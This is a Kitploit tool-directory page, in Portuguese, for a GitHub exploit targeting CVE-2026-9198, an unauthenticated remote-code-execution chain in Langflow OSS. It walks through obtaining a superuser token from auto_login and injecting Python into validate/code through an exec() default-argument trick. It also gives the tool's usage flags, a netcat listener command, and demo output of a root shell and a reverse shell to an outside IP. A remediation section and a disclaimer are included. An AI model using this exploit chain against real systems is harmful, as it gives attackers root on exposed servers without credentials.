Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-9198_exploit — Exploit para CVE-2026-9198, contendo payloads de prova de conceito e etapas de validação para avaliar a vulnerabilidade em ambientes alvo. | Kitploit
Ferramentas/GitHubGitHub/chessalekin/cve-2026-9198_exploit
Análise de VulnerabilidadesExploraçãoTestes de Penetração
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

Exploit para CVE-2026-9198, contendo payloads de prova de conceito e etapas de validação para avaliar a vulnerabilidade em ambientes alvo.

Ver Repositório
22há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-9198 — RCE não autenticado no Langflow OSS

Execução remota de código não autenticada no IBM Langflow OSS (1.0.0 – 1.10.0) em uma implantação padrão. Encadeia duas falhas:

  • CVE-2026-9103 — GET /api/v1/auto_login emite um JWT de SUPERUSER para qualquer chamador sem credenciais sempre que AUTO_LOGIN está habilitado (o padrão no Langflow < 1.5).
  • CVE-2026-8481 — POST /api/v1/validate/code passa Python fornecido pelo usuário para exec() sem sandbox.

Juntas (CVE-2026-9198), um atacante não autenticado obtém execução de código como o usuário do serviço Langflow — que frequentemente é root.

O que ele faz

  1. Solicita um token bearer de superusuário em /api/v1/auto_login (sem autenticação).

  2. Envia um payload para /api/v1/validate/code. O endpoint executa o código via exec() para "validá-lo"; o Python avalia valores de argumentos padrão no momento da definição, então o payload é envolvido em um argumento padrão de função:

    def _v(a=exec('<payload>')): pass
    

    Para execução de comandos, o payload lança uma exceção cuja mensagem é a saída do comando, que o endpoint reflete de volta na resposta (function.errors[]).

Uso

./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

Demonstração

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

Requisitos

  • Python 3.6+ (apenas biblioteca padrão — não é necessário pip install)

Observações

  • Funciona apenas enquanto AUTO_LOGIN estiver habilitado (o padrão para Langflow < 1.5; em >= 1.5 ele deve ser explicitamente LANGFLOW_AUTO_LOGIN=true). Se auto_login não retornar nenhum token, o alvo não é explorável por este caminho — forneça um token válido com -k se você tiver um.
  • A saída do comando é retornada na resposta function.errors[]; stderr é mesclado em stdout para que comandos que falham ainda mostrem seu erro.
  • O código é executado como o usuário do serviço Langflow. Se esse usuário for root (comum com langflow run puro sob systemd/Docker como root), isso é root direto no host.

Correção

  • Atualize o Langflow para além do intervalo afetado; validate/code não deve executar via exec() entrada não confiável e auto_login não deve emitir tokens de superusuário.
  • Defina LANGFLOW_AUTO_LOGIN=false e configure credenciais reais de superusuário.
  • Nunca execute o serviço Langflow como root.

Aviso legal

Este projeto é publicado apenas para testes de segurança autorizados e fins educacionais. Não o utilize contra sistemas que você não possui ou para os quais não tem permissão explícita de testar. O autor não aceita qualquer responsabilidade por uso indevido.

Baixar ferramenta